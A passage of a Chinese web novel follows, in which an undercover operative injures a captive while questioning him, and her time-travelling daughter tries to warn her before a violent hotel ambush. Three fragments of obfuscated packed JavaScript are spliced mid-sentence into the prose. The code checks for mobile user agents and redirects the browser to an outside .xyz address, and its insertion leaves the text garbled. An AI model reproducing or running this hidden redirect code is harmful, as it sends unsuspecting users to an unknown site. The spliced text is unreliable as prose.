莫子健瞳孔骤然紧缩,忍不住在心里咆哮:操了这女人到底什么来头,怎么一问就是要命的大事?! 但现在给他一百个胆子都不敢不说,回去被老爸打死还是在这里被敲死,傻子都能分清。 迟疑片刻,莫子健狠狠咬牙,一股脑说道:“飞扬娱乐明面上的老总是我爸,实际管理人是顾唐的老婆李明月,我只知道是李明月看中了秦麦的商业价值,好像是签约的分成没搞定,她就做局让他输钱背债。” 这件事莫子健知道的的确很少,当初在热搜上看到飞扬卷入自杀丑闻,吃饭的时候就问了一嘴。 他老爸非常不待见李明月,当场摔了筷子怒骂:“那女人就是吃人不吐骨头的典型,但还真特么有点能力。当时让我和秦麦签约,她早就考虑到了秦麦要给家人治病绝对不可能让过多的分成,干脆利落同意了三七分,条件是他必须自己干直播,公司只给他提供场地和接代言。等他价值越来越低的时候才开始收网,特地带他去参加晚宴,结果喝高了,一晚上赌下来还要倒赔几百万。” 秦麦没什么文化,年轻气又盛,回过味来时已经来不及了,考虑到家里还有重病的亲人,本来想用自杀威逼飞扬的经理,谁知一个脚滑就摔死了。 “至于许紫衫……我真的不清楚,这件事后来就是李明月在处理了。”莫子健神情有些恍惚。 直到这一刻,他才终于意识到自己和家人其实手上都沾着无辜人的血。不过他很快恢复正常,完全没有一丝惭愧,那一秒的忏悔似乎仅是心虚作祟。 祝飞雁观察着他的表情,一句话没说。 事情倒是和许紫衫的举报视频里说的差不多,但顾逢秋后妈是飞扬娱乐的幕后管理者,这就很耐人寻味了。 李明月,以前是演员,现在是豪门阔太。 据说两人在顾逢秋亲妈田馨还没死前就勾搭在一起了,而顾逢秋的亲爹顾唐则是个典型的凤凰男,娶田馨前只是小有成就,后来仗着婆家一飞冲天,随即逐步吞并妻子家的财产荣升资本大鳄,紧接着就是渣男常规操作——冷□□、出轨,田馨因此抑郁成疾,早早逝去。 田馨死后仅一个月,李明月就嫁进了顾家,也算是一对非常知名的狗男女了。 祝飞雁沉静地思考着,这样看来飞扬娱乐的确有大问题,否则李明月好好的阔太不当,自家的公司不去,去别人家淌什么浑水? 除非,她负责的活与本家有关。 她顿时眯起眼,顾家涉嫌的累累罪行在脑海中一一闪过,可如果要确认,还是得抽空去飞扬一趟。 迅速思考完毕,她立刻抽回扳手:“谢谢配合。”然后转身朝桌子走去。 像达摩克利斯之剑悬在头顶的扳手撤去,莫子健终于松了口气,盯着祝飞雁的背影连忙问:“那你要放我走吗?我保证出去后立马润去国外,绝对不会再回来,逢年过节一定给瞿老师上香!” 本想去换个武器的祝飞雁脚步一顿,微微侧头用余光看他:“你在想屁吃?” 话音刚落,已经在想要去哪个国家的莫子健只觉眼前有银光一闪,下一秒,只见那银色的扳手像流星一样砸过来,祝飞雁那双毫无感情的凌厉双眼紧随其后,被银光映得极冷。 啪!坚硬的扳手狠狠抽向莫子健喉部的左侧,发出一声脆响,连周围的皮肉都连颤了好几下。 莫子健全身瞬间紧绷,连人带凳子侧倒向地面,一刹那的功夫,明显能感觉到喉咙像是被重物死死压着,气管被血肿压迫,呼吸越来越艰难,身体也不受控制地开始剧烈抽搐。 “你、你……”他死死盯着祝飞雁,整张脸因为窒息霎那通红。 祝飞雁面无表情,伸脚将椅子拨正,随即右手摸向后腰拔出一把小刀,紧接着半蹲到他面前,不疾不徐将刀尖抵到了他喉咙处。 莫子健瞳孔疯狂震颤,然而这种喉部损伤短时间内就能造成窒息死亡的风险,他的视线逐渐模糊,迷迷糊糊间,只听祝飞雁平缓有力地说:“你不配叫她老师,从你的脏嘴里说出来让我恶心。” 千钧一发之际,只见她动作利落地一刀划开他的气管,刀尖旋即一挑,浓郁的淤血汩汩涌出。 肿胀的压迫感骤然消失,他紧绷的身体立刻放松了下来,终于可以呼吸。 见他稍微恢复正常,祝飞雁起身,修长的身躯背着光,居高临下俯视着莫子健,语气冰冷:“你也没法出国了,因为你很快就会在监狱里和那四个垃圾团聚。我向你保证,要是你们没得到应有的惩罚,我一定会把你们再抓出来,一个个敲断骨头再弄死。” 坚定的誓言像恶鬼的魔音一样吹过莫子健耳边,他缓缓闭上眼,陷入了昏迷。 …… 五分钟后,山间小屋的门被推开。 祝飞雁孤身一人走出,从兜里摸出一部翻盖手机,快速给特案组的人发送了一条信息:【1号人证位置发你们了,尽快过来,最好带个医生。】 发完她直接关机,紧接着拿出智能手机点开定位软件,确认许紫衫的位置后,大步流星走回山脚,跨上机车扬长而去。 暗无天际的夜色笼罩整座山林,这个夜晚看似寂静无声,实际上风云暗涌。 与此同时,莫家人因迟迟没有收到儿子消息,夫妻俩亲自登门拜访顾家;喜获通缉犯名号的许紫衫站在一座小宾馆的五楼窗口,掀开窗帘警惕地盯着下方一切动静。 大约十五分钟后,一辆贴着快送外卖广告语的面包车在山脚停下。 一个戴着鸭舌帽的女人推门下车,橄榄绿色的冲锋衣拉到最上面,车窗倒映出一张硬朗高智的脸,紧接着另外三个同样遮掩严实的男女风风火火下车。 正是特案组的人!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536456|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 毫不夸张地说,这些人全是各地调来的精英中的精英,每一个人都经过了无数考验,直至确认其忠诚才有资格加入这个特殊的队伍。 与寻常扫黑不同,这一次是绝密任务,从建立到人员挑选均是某重要部门亲自执行,因为他们不仅仅要打掉滨海的犯罪王国,还要找到背后涉及的更深的黑暗。 “这线人到底什么来头?居然这么快就搞定1号人证了?”一个青年亦步亦趋跟在鸭舌帽女人旁边,语气质疑。 青年负责销毁任何有可能暴露线人的监控,可计划虽然是他们敲定,但彼此都没见过面,也互相不知道彼此身份。即使当时决定让对方用非常规手段找线索时,上头也允许线人自由发挥,然而谁也没想到她竟然当众掳人,非常之狂! 鸭舌帽女人名为沈琉歆,来自清晔市的刑侦大队新人,但战绩辉煌,她瞥了一眼青年:“我怎么知道?她的对接人是徐庆云。” 没功夫讨论别的,沈琉歆快步上山找到小屋,一推开地下室的门,脸色骤变。 下一秒,她倏然回头咆哮:“快快快!先让医生进来,把人抬到医院去!” 场面顿时陷入混乱,其余人往里一看,不约而同心头一惊,手忙脚乱开始帮忙。 很快将人搬上车,那青年钻进驾驶座,一脚油门踩下,终于忍不住感慨:“我总算知道她为什么要我们带医生了。” 副驾驶上,沈琉歆揉着眉心,按耐住火气问后面的临行医生:“情况怎么样?” 医生欲言又止:“气管切开得很及时,没什么大危险,就是那一击力道应该不小,颈椎有轻微脱位,醒来有瘫痪的风险,不过还是要拍片才能最重确定。” “……”沈琉歆沉默半晌,掏出翻盖手机拨通徐庆云的电话,一接通就气冲冲地问:“徐团,你找的线人底什么来头?” 徐庆云一头雾水:“发生什么事了?” 沈琉歆简单讲述了一下,毫不客气地阴阳怪气道:“这线人厉害啊,打一巴掌给一甜枣,还知道善后呢。搞这种人过来扮演狂徒?我看她本身就是狂徒吧!!” 徐庆云:“……你终于发现了。” 沈琉歆:? 一时半会电话那头没了声响,沈琉歆也是个暴躁性格,火气上来就要开骂,谁知这时,就听徐庆云深深吸了口气,紧接着声音响起:“她是祝飞雁。” 短短五个字,清晰而利落。 青年隐约听到了名字,下意识问:“谁啊?来头很大吗?” 沈琉歆没说话,紧握手机的五指猛地扣紧,沉默足足一分钟,然后特别一本正经地、严肃地对徐庆云说:“干得好干得妙!祝姐简直就是我的榜样,面对犯罪分子就该重拳出击,这一击甚得我心!” 车里的组员:“……” 对面的徐庆云:“…………” . 与此同时,邻近郊区的莲荷区。 这是一块与市中心截然不同的区域,这里烟火气十足,无数来自五湖四海、怀揣梦想的年轻人聚集在这里,住便宜的老式居民楼,做24小时待命的打工吗喽。 每当七点过后,流动摊头和摩的就会挤占马路,浓郁的香味飘向夜空,喧嚣一片。 人声鼎沸中,一辆出租车在彩虹宾馆门前停下,只见一个兜帽青年下车,先是四处张望一圈,随即戴上口罩朝路边的炒粉摊走去,丢下一张十块:“来份炒粉。” 老板动作麻利,两分钟出餐。 青年往饭盒里又添了两勺辣椒,紧接着走进宾馆。 青年完全没有注意到,和他打扮差不多神秘的祝飞雁正坐在对街炸串摊的小板凳上。 这是一个能将宾馆完全纳入眼底的好位置,她像一只捕猎的敏捷黑豹,耐心地在暗处等待许久。 见人进去,祝飞雁淡定啃着麻辣鸡翅,收回目光,看向了桌面的定位软件。 代表许紫衫位置的红点正在闪烁。 而屏幕顶端不断有V信信息进来,十分钟前祝安宁就打了无数个电话,没接就用表情包轰炸她。 鸡骨头往盘里一丢,她抽了一张粗糙的廉价纸巾擦拭手指,终于大发善心点开信息。 【奇怪的人】:快回我信息啊!! 【奇怪的人】:我做了一个梦,你千万不能去那什么彩虹宾馆!你会有危险!! 19.Chapter 19 半小时前,天海湾二期。 卧室里只开了一盏床头灯,祝安宁侧躺在床边呼呼大睡,手机摔在枕边,屏幕还亮着,显然是玩手机玩睡着了。 屏幕微暗,停留在与桑芙的聊天页面。 【桑小小小芙】:什么定位器? 【桑小小小芙】:你不会是想买这玩意跟踪祝宴吧?你疯啦! 【桑小小小芙】:?回话! 手机那头的桑芙迟迟没等到回信,抠了会指甲还是决定成全好姐妹,立刻跑到隔壁房间去找当私家侦探的老哥:“哥!问你买样东西!!” 与此同时,床头柜上的闹钟指针和分针一起指向十点,发出了整点报时的提醒,陷入沉沉梦乡的祝安宁眉头倏然一皱。 困顿在这一瞬间荡然无存,祝安宁感觉自己像是坠入了无边深海,光怪陆离的声音透到耳边,宛如隔着一层厚重的水。 “醒了!医生!!”陌生的男人在呼喊。 紧接着脚步声匆匆,似乎是有人围了上来,将冰冷的仪器往她身上贴,有人庆幸地说:“已经度过危险期了,接下来再观察一周就能出院。” 出院?祝安宁大脑混沌一片,她不是在家吗?因为展厅遇袭上了新闻,原主的父母紧急赶回来,还给她做了一顿超级豪华的晚餐。 滴、滴、滴……但她的确听见了心电监护仪的规律声响。 不知缓了多久,她才艰难地睁开眼,病房里白织灯刺眼,她下意识闭上眼,再睁开,只见一张黢黑健朗的中年男性面孔怼在面前。 “沈琉歆!!安宁真的醒了!”中年男人立刻直起身,朝站在窗口打电话的短发女人咆哮:“打打打!就知道打电话,这么忙就滚回滨海去!” 祝安宁吓了一跳,猛地坐起来。 下一秒,只见名为沈琉歆的女人干脆挂断电话,然后快步走向病床,满脸担忧地盯着祝安宁:“你醒了,伤口还痛吗?” “……”直到被捏着下巴检查,祝安宁才迟钝地反应过来:这两人是之前和她讲述祝飞雁过往的人,男的是血豹前队员钟左智,另一个则是当年特案组的组员沈琉歆。 她茫然地摸了摸隐隐作痛的肚子,发现病服下果然缠着厚厚的纱布,连抬手都艰难。 “我没死?”她懵圈抬头。 沈琉歆宽慰一笑:“你没死,我们来得很及时,孟书礼已经被抓了。” 闻言钟左智顿时冷喝:“及时个屁!我发现你现在真是谎话一套一套,就是你认为孟书礼一定会找上安宁,所以才让警方封锁整个县,拿小姑娘去钓鱼,结果害她身中数刀,你简直太心狠了!” “那是因为我比任何人都想抓到他。”沈琉歆神色肃然,冷冰冰地侧头看向钟左智:“如果孟书礼冲我来,我肯定自己上。” 钟左智气得脸红脖子粗:“我不管!她才十五岁!要是飞雁知道你拿她女儿冒险,她……” “她已经死了!” “总之头七还没过!小心她从棺材里爬出来!” 两人旁若无人,吵得不可开交,祝安宁晕晕乎乎地捂住耳朵,然后看向墙壁上挂着的电子时钟——2040年3月8号,晚上十点零二分。 她回归了未来的时间线? …… 先净身入殓,然后报丧吊唁,最后才是出殡安葬,这是祝安宁第一次知道葬礼有这么多繁琐的程序,虽然什么事都是沈琉歆几人在安排,但她还是抢着干活,试图通过忙碌来瓦解内心的奔溃。 一连几天,她都想不明白为什么。 穿回2024年还没来得及做什么,就被拉回现实,再一次被迫面对祝飞雁的死亡。 3月15号这天,这座生活了十五年的偏远县城迎来了一场声势浩大的葬礼,武装直升飞机轰鸣,陆续有军人和警察前来送葬。 所有人都在吃惊祝飞雁的身份,围在灵堂外交头接耳,将听来的一点事迹夸大其词宣扬,但没有一个人为曾经笑她残疾而感到抱歉,也没有嘴碎的老头为曾经嘲讽她肯定是被男人抛弃这件事感到愧疚,似乎死后的体面辉煌已经泯灭了祝飞雁生前的遭遇的一切冷眼。 祝安宁站在灵位前,面无表情看着那些人指指点点,喧杂的议论声毫不掩饰。 她觉得这很不公平,在见到年轻的祝飞雁后,那个像鹰一样锐利凶猛的祝飞雁,那个嘴硬心软、个性张扬的祝飞雁后,愈发觉得她不应该是这样的结局。她就该波澜壮阔地飞,而不是窝在这里隐瞒过去,十五年来任由他人猜测她的来历,却寡言少语从不反驳,宛如羽翼破碎心如死灰。 最后来的人是一个年近六十的老人,他穿着军装,头发半白,不顾阻拦硬是双膝跪地上的香。 祝安宁一眼不眨盯着对方,在心里猜测对方是谁。因为目前为止,她对祝飞雁了解的还是很少。 “他叫徐庆云,飞雁之前的团长。”旁边的沈琉歆仿佛有读心术似得,突然说:“当年她各项成绩都非常优越,成立特案组时,是他强烈推荐你妈去当卧底,原本上面不同意,但他用自己的职业生涯做担保,最终力排众议选定了她。” 祝安宁侧头看向她,安静地问:“为什么不同意?她不是很厉害吗?” 沈琉歆轻叹一口气:“飞雁幼年父母早逝,后来在福利院出了事,是她师傅瞿欣收养了她。后来瞿欣的女儿死于无人岛案,瞿欣也死在调查的路上,两人和她关系匪浅,按照规矩应该避嫌。” 其实原因很简单,上面只是怕她控制不了自己的情绪在卧底过程中下手过重。 “她的确也不负众望,把情绪处理得很好,陆续为特案组提供有效线索,一步步将敌人一网打尽,但那只是我们认为的。” 祝安宁默默记住这两个名字,没说话,等着沈琉歆继续往下说。 “因为我们都忽略了一个问题。”沈琉歆声音已经有些颤抖了,她看向徐庆云苍老的背影,哀伤地说:“她已经一无所有,支撑她压抑愤怒的只有找出真相四个字。” 很多人都说祝飞雁像凶猛的老鹰,沈琉歆却觉得她像一只忠诚的孤狼,当家人死于非命,温馨平淡的家一朝毁灭,她骨子里的狼性就爆发了。 那简直是不要命的查法,完全没有把自己的命当命,为了能抽丝剥茧查到更深处,甚至能顶着几处枪伤继续穷追猛打,丝毫不虚。 而这种暴躁冲动与无所顾忌是战斗中的大忌,即使祝飞雁硬是强忍怒火从来没有私下对孟书礼等人用私刑,但那还是导致了自己受伤,也致使不少无辜者的牺牲。 简而言之,那次的卧底,她就是抱着必死的决心去的,可谁知道命运这么捉弄人,她活下来了却残疾了,永远无法回到热爱的岗位。 沉默半晌,沈琉歆又说:“所以徐团一直都很愧疚,他自认为够了解飞雁,却从来没有真正窥见过她的内心。他始终觉得,如果当初没让她去卧底,是不是一切都不会发生,最起码至少还是个健常人。” “……”祝安宁眉端微微蹙起了。 ——【那是我的选择,受伤是我的勋章,死亡也是我最后的荣耀。】 祝飞雁说过的话历历在耳,少顷她迟疑地说:“可我觉得以她的脾气,大概率会把办公桌掀了也要卧底吧。” “所以这就是一个无解的命题,也许这就是命运吧……”沈琉歆摇头叹气,随即冲祝安宁微微一笑:“你的朋友莫莉跟我说你们关系不是不好,我看你倒是蛮了解她的。” 祝安宁对这句评判莫名有些心虚,实际上穿越前她一点都不了解,她只觉得祝飞雁进入了更年期,不可理喻也无法交流。 然而真实的祝飞雁是鲜活的,会气呼呼地给她塞钱,明明不耐烦还嘴硬心软送她回家,救她时出手干脆利落,骂她时毒舌得要命……在2024短暂的几天两人就说了2040年一个月的话,这些画面像昙花一现般在眼前闪烁,然后消失。 “……其实也不太了解。”她低下头,双手垂在身前乱绞,“她什么都不跟我说,我也、也很讨厌她。” 沈琉歆注视着一瞬间泄气的小姑娘,抿紧唇思考一会,紧接着拿出兜里的U盘塞进她手里:“她那样心高气傲的人,要想她把伤疤揭开,本来就是一件很难的事。” 祝安宁看着U盘,有些不解:“这是?” “这是当初案子结束后,她接受心理咨询时留下的记录,你可以看看。”沈琉歆眼神鼓励,“现在了解她也不晚,她永远是你的妈妈。” “看过之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536457|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”她温柔地拍拍祝安宁的肩膀,声音平和:“然后放下过往,就像她说的一样,不要难过,你要展翅高飞,璀璨无忧。” 祝安宁明显觉得沈琉歆话中有话,并且眼神也耐人寻味,仿佛里头有什么惊人的事。 她捏紧U盘,须臾才点头:“好。” 接下来就是将骨灰盒送往烈士陵园,听说是徐庆云专门向上面申请的,必须以因公殉职的名义下葬,这天陵园里白鸽群飞,背脊如松的军人鸣枪敬礼,仪式庄严肃穆。 肃静的沉默里,祝安宁流着泪望向一望无际的蓝天,仿佛在云层中看到了祝飞雁转身的背影,一如既往的潇洒。 回到家后,她坐在沙发上,直勾勾盯着桌上已经坏掉的草莓蛋糕,良久,她挖了一口塞进嘴里。 很腻,很臭。 但她还是吞了下去。 家里空荡荡的,再也没有总是暴躁地问她能不能把脏衣服丢洗衣篓里的人了,也没有在沙发上擦着假肢,刻薄地嘲讽偶像剧主角都是白痴的人了。 眼泪简直像开闸的水哗啦啦流下来,祝安宁小声啜泣了会才擦干净眼泪,搬来电脑插上U盘。 很快,电脑屏幕上跳出五份视频文件,分别标注了一个叫许紫衫的人在内的五个陌生人死亡案。 “这和心理咨询有关吗?”她顿时皱眉,在注意到许紫衫的视频下面备注的时间后,更加不不解了。 上面写的是2024年9月12号。 那不就是今天? 不对,应该说是2024年的今天。 祝安宁实在是不解,立刻点开这个视频。 …… 视频框跳出,首先是一个穿着白大褂的人影在摄像头前走过,紧接着露出了镶嵌防爆钢板的四面墙,祝飞雁侧对着摄像头,脸色苍白却面无表情。 她头发很短,穿着普通的黑色冲锋衣,手吊在脖子上,脸上还有伤,眼睛青肿得像馒头,显然不久前刚经历一场恶战。 那人回到银色的方桌前,双手交叉放在下巴上,认真地注视祝飞雁,然后平缓地开口:“你的任务完成得不错,事后需要进行一些常规的心理咨询,对此你有什么问题吗?” 只见祝飞雁冷冷抬眼,毫不客气地说:“审问还是咨询?” 白大褂礼貌颔首:“都算。毕竟因为你的过失,有五个人死亡了。你太在意真相,以至于对几次意外状况都处理不当,但考虑到你的付出与牺牲,所以这次更多只是咨询,测试你是否还能回来的可能。” 祝飞雁以为自己听错了,冷笑一声:“我腿都没了,回来干什么?当沙包吗?” “是徐庆云想让你到幕后工作。”白大褂言简意赅,掀开眼前的文件,“我可以问了吗?” 祝飞雁没说话,一幅无动于衷的态度。 紧张的气氛中,就听白大褂询问道:“2024年9月12号,你追随许紫衫到彩虹宾馆,根据你之前的口供来看,你是在外面守了一小时才等到同伙出现,既然如此,以你的观察能力,为什么没有发现顾唐派了人潜伏在四周?” “突发状况发生后,你受了伤但行动力没有受损,明明可以第一时间救许紫衫这个证人,为什么毫不犹豫追出去导致她被杀?” …… 才看完这个视频,墙上的时钟突然发出提示音:“叮!现在是凌晨一点钟……” 祝安宁吓了一跳,抬头望向时钟的瞬间,身体像是被一只无形的巨手猛地往下一扯,天地骤然旋转起来,下一秒她就像一个溺水的人,猛地从柔软的床上坐了起来。 四周环视一圈,祝安宁瞳孔地震:又回来了? 仿佛是为了印证她猜想,门外响起了原主母亲的声音:“沐沐,你怎么了?做噩梦了吗?” 她连忙看向枕边的手机,根据聊天时间发现,她在2040年呆了七天,实际上在2024年只过去了七分钟。 来不及思考了,她立刻找出祝飞雁的V信发去警告。 然而令人毛骨悚然的事发生了,只要她发出去有关未来发生的事,最终都会变成乱码!! 祝飞雁也迟迟没有回应,她脑子已经停止了思考,毫不犹豫掀开被子,火急火燎往门外冲。 20.Chapter 20 与此同时。 莲荷区,彩虹宾馆楼下。 炸串摊人来人往,祝飞雁坐在小板凳上,准备掏钱走人的姿势倏然顿住,一眼不眨盯着祝安宁最后发来的信息。 【奇怪的人】:我做了一个,你千万不能去那什么彩虹宾馆!你&*?#@!! ……她怎么知道自己在这里? 祝飞雁皱起眉头,最后还有看起来很像被打码的脏话乱码,总不能是字打一半,键盘被猫踩了吧。 她立刻往上翻,除了未接的电话,上面几十条信息基本都是乱码,仿佛有些事无法宣之于口,一经发出自动打了马赛克。 这情况不是第一次出现了。 祝飞雁几乎是不由自主想起了两人的第一次见面,当时祝安宁言之凿凿说她是从2040年穿越过来,试图提起一些未来的事时,话到她耳朵里却是一片空白。 因为穿越,因为某种不可抗力,祝安宁似乎无法说出还没发生的事。 但不管穿越这件事究竟是真是假,实际上当祝安宁提起无人得知的纹身时,她就已经信了一分,否则根本没办法解释一个和自己毫不相干的人,一个当天行动轨迹完全没有重叠的人,究竟是怎么知道她去纹了身。 祝飞雁微蹙着眉,回过去一个问号。 她发出的信息为什么都是乱码,是因为想提醒的事还没有发生吗? 十秒钟内没有回复,她刚想打电话过去问,没想到祝安宁的信息终于来了:【这么久才回我,你已经在了对吗?!有&%你?#@!!我马上到了!别冲动啊!!】 这次还是有乱码,祝飞雁更加确定她是想提醒自己什么,下意识抬头环顾四周,试图在人群匆匆中找到那道熟悉的身影。 然而就是抬头的一瞬,视线才略过热气蒸腾的摆摊车,就见两辆黑车在路边停下,车门推开,下来了五个戴口罩的精瘦青年,眉眼凶恶。 同一时刻,分散在四周的几个小混混与他们会和,先是指了指楼身的亮着荧紫色光的彩虹宾馆招牌,随即为首的青年抽出几张百元大钞递给对方,紧接着一行人大步流星朝那走去。 其中一个黄毛穿着薄夹克衫,衣角掀起的瞬间,露出了后腰处插着的一把西瓜刀。 这帮人显然来者不善,目的地还是宾馆……祝飞雁神情顿时一凛,心道不妙。 许紫衫有危险! 展厅纵火加上用假炸弹扰乱公共秩序,警察正在全城通缉许紫衫,除了她自己,大概只有差点死掉的顾逢秋想要找到她挫骨扬灰了! 直到这一秒,祝飞雁才终于明白祝安宁的意思,就像她无法说出未来的自己会死一样,其实她是想说接下来可能会出事! 但她没有一丝丝迟疑,还是立刻丢下钱,第一时间起身追上去。 紧急情况突发,祝飞雁来不及思考了,边走边给祝安宁发去一条语音信息和许紫衫的照片。 脚步匆匆,她的声音依旧沉稳有力:“去宾馆后门等我,如果见到这个人,用尽一切方法把她拦住。遇到危险直接往人多的地方跑。” 话落,她干脆利落锁屏,快步走进宾馆,并顺手关上了门。 卷帘门骤然被拉下,发出哗啦啦的响声。 正对大门的收银台,懒洋洋靠在前台的男人望向门口的祝飞雁,两人隔空对视。 正是那五人中的黄毛! …… 五分钟前。 彩虹宾馆内,五个青年迎面走向收银台,个个人高马大,一幅来势汹汹的样子。 前台小姐见多识广,一眼看出他们根本不是来订房的,心想肯定要么是来捉奸,要么就是非主流扎堆,她立刻站起来,保持微笑问:“先生们好,是需要开房吗?” 啪!为首的青年掏出五百往桌上一拍:“刚才进来的男人去了哪个房间?” 他眼睛上有道足五公分长的疤,皱巴的眼皮半耷拉着,看起来有些凶相。 前台小姐瞥了一眼纸钞,还未说话,只见青年身后的人撩开外套,故意露出腰间的刀,前台脸色一白,立即哆嗦着说:“3、301!” “阿三,看好她。”青年命令黄毛留下,紧接着朝后一挥手:“其他人跟我上去!” 这时,靠近收银台的后门被人推开,又有七八个人进来,两方人马对视一眼,分别往楼梯和电梯走,准备夹击。 “张哥,那女人真的在这?”等电梯下来时,一人突然这样问道。 “莫总给的消息还能有错?他们那帮人在警局安插了不少眼线,绝对跑不了。” 叮!电梯缓缓打开。 “行了。”名为张哥的人冷声喝止小弟们的交谈,走进电梯后才道:“记住,要活捉。否则不止莫总会生气,小顾总也是。” 所有人进去后,小弟讪讪摁下电梯。 这里的电梯有些老旧了,运行的声音震耳欲聋,梯门渐渐合拢。突然,一只戴着半截式黑色战术手套的手猛地从缝隙里钻出,在最后一秒紧扣住了门。 包括张哥在内,四人纷纷抬眼。 电梯再次打开,只见缝隙逐渐拉大,先是露出了一双极为黑沉的双眼,随即是女人格外修长的身影,宛如一柄隐而不发的利剑,浑身透着一股微妙的强烈压迫感。 祝飞雁喘着粗气,冲四人微微一笑:“不好意思,着急上去。”然后她走进去,毫不客气站到四人中间,伸手摁下了五楼。 祝飞雁的个子在女人中都算高了,此刻与四人并肩,竟比张哥还要高半个头。 她还戴着黑口罩和鸭舌帽,大半张脸被遮住,长发绑成低马尾,张哥一眼扫向电梯镜面,恍惚都觉得她是自己人。视线继续往下扫,只见她是一身黑牛仔衣和宽松深绿的工装裤的打扮,利落干净,脚上那双厚底登山靴看起来份量很重。 这幅打扮让张哥瞬间想起了一个女人。 那个女人叫顾惜,听说是顾唐从海外领养的孤儿,从小养在身边,格斗散打样样精通,现在专门帮忙处理一些见不得人的事,就连心高气傲的小顾总都得叫她一声姐。 电梯缓缓上行,张哥收回审视的目光,不动声色地往后站了站,少顷突然问祝飞雁:“你是住客?” 祝飞雁眼皮一抬,侧头看向张哥,电梯脏兮兮的镜面映出了她镇定的目光。 “不是,我来找人。”她微笑着说,“有几个崽种想对我朋友下手,所以刚才我搞定了一个,我在想要怎么弄死剩下的人。” 两人四目相对,久久凝视。 气氛刹那紧张起来,四周的空气像是被冻结了,剩下四人,不约而同感觉到一股充满剑拔弩张的火药味。 张哥注视着祝飞雁黑漆漆的双眼,眼皮猛地一跳,下一秒顿时暴喝出声:“弄死她!” 话音未落,就见离祝飞雁最近的人猛地撞向电梯镜面,整座轿厢都轻微震动了一下,那倒霉蛋鼻梁重重挨了一拳,血像泉水一样涌出,顿时捂着鼻子发出惨叫。 祝飞雁果断出手,先发制人搞定一个。 剩下两人显然没想到她会这么干脆,压根没有时间思考,只能仓皇出拳抽刀。 一时间,狭小的电梯里人影交错,呼喝震天。 只见足有小臂长的西瓜刀从左侧劈来,但祝飞雁的速度简直比闪电还快,轻巧侧身躲过的一瞬,已经抬手捉住了那人的手腕反扭,第一时间卸掉了西瓜刀。 喀嚓一声,伴随清晰的骨裂声,她一脚将落地的刀踢向角落。 同一时刻,另一人从右边挥出拳头,她立刻松手,猛地出脚狠踹对方大腿,那人下意识停顿,下一秒脸上也挨了一拳,难以置信的力道砸下来,这一曲拳简直轰得脑浆都晃匀了,头晕目眩地后退。 祝飞雁喜欢一招制敌,但电梯内空间实在太小,没有更多的发挥空间,正当她准备补一脚时,谁知张哥突然从后面突袭,用双手死死勒住她脖子往后扯。 “我想起来了,你是那个带走莫子健的人。”张哥见过X酒店外的监控,他整张脸贴在祝飞雁的肩侧,冷笑着说:“你和许紫衫是一伙的吧?” 这时那两人忍痛重新站起来,一个捡起刀,一个从后腰拔出一根棍子,朝她逼近。 祝飞雁眼神冷静,侧头瞥向连口罩都遮不住臭气的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574205|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张哥,下一秒双手反抓住张哥的肩膀,连衣服带人一扯,然后猛地弯腰往前惯摔。 张哥根本不敢相信一个女人会有这样的力气,等反应过来时,整个后背已经重重砸向两个小弟,三人齐刷刷滚到地上,哀叫声此起彼伏。 哐当!老旧的电梯再一次震动起来。 “他妈的……”张哥狼狈地爬起来,从衣服内袋拔出带有xiao音器的枪就要射击。 但祝飞雁的动作实在是太快了,掏枪的前一秒她就行动了,人影在张哥眼前晃动一下,随即就见她忽然弯腰猛冲,双手并用轻而易举捉住张哥四肢,然后横着抗到了肩上。 此时,三楼到了,电梯门打开。 砰砰砰!接连三道令人毛骨悚然的巨响,张哥整个人被活生生撞向电梯门框三次。 紧接着,又是嘭一声。 毫无反抗之力的张哥被摔出电梯,重重砸向正对电梯的一间房间,那间房门开着,一个男住客正探头张望,因为三楼已经出事了,许紫衫的尖叫声盘旋在走廊。 那住客盯着脚边的张哥,茫然地眨眨眼。 只见张哥口吐鲜血,双眼翻白,彻底晕了过去,住客下意识抬眼,对上了祝飞雁冷峻的目光。下一瞬,他浑身一抖,火速关门。 “……”祝飞雁缓缓吐出一口气,看了一眼声源处,然后弯腰捡起枪,面无表情转头瞄准剩下两人的膝盖,干脆利落地补了两枪。 搞定这里,她马不停蹄往301狂奔。 …… 几分钟前,301。 “吃完饭我带你离开,行动失败,你不能再呆在滨海了。” 闪烁着电视蓝光的单人间里,一份炒粉被放倒了棕色木桌上,青年摘下卫衣帽子,面朝着许紫衫坐下来:“她已经搞到了船票,我们从水路走。” 许紫衫沉默地盯着热腾腾的炒粉,一言不发。 不知过去多久,她才抬头看向青年,冷冰冰地说:“我不走,一天不弄死顾逢秋就不算完。现在只不过是被通缉而已,我们早就是阴沟里苟活的老鼠了,你怕什么?” 